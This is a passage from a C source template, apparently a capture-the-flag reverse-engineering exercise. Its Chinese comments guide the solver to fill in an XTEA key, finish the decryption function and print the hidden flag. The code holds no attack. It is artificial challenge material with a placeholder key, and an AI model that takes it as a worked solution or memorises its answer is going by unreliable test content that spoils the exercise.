     * @attention 填充对应密钥。注意：别忘记小端序！
     */
    uint key2[4] = {
        0xDEADBEEF,
        0x0,
        0x0,
        0x0
    };
    /**
     * @attention 移步 xtea_decrypt，继续完成解密逻辑编写。
     */
    xtea_decrypt(cipher2, key2);
    xtea_decrypt(cipher2 + 2, key2);
    /**
     * @attention 补全所有部分后，运行程序。如果解密正确，就能看到输出的 flag 啦！
     */
    printf("%.16s%.16s\n", (char *)cipher1, (char *)cipher2);

    return 0;
}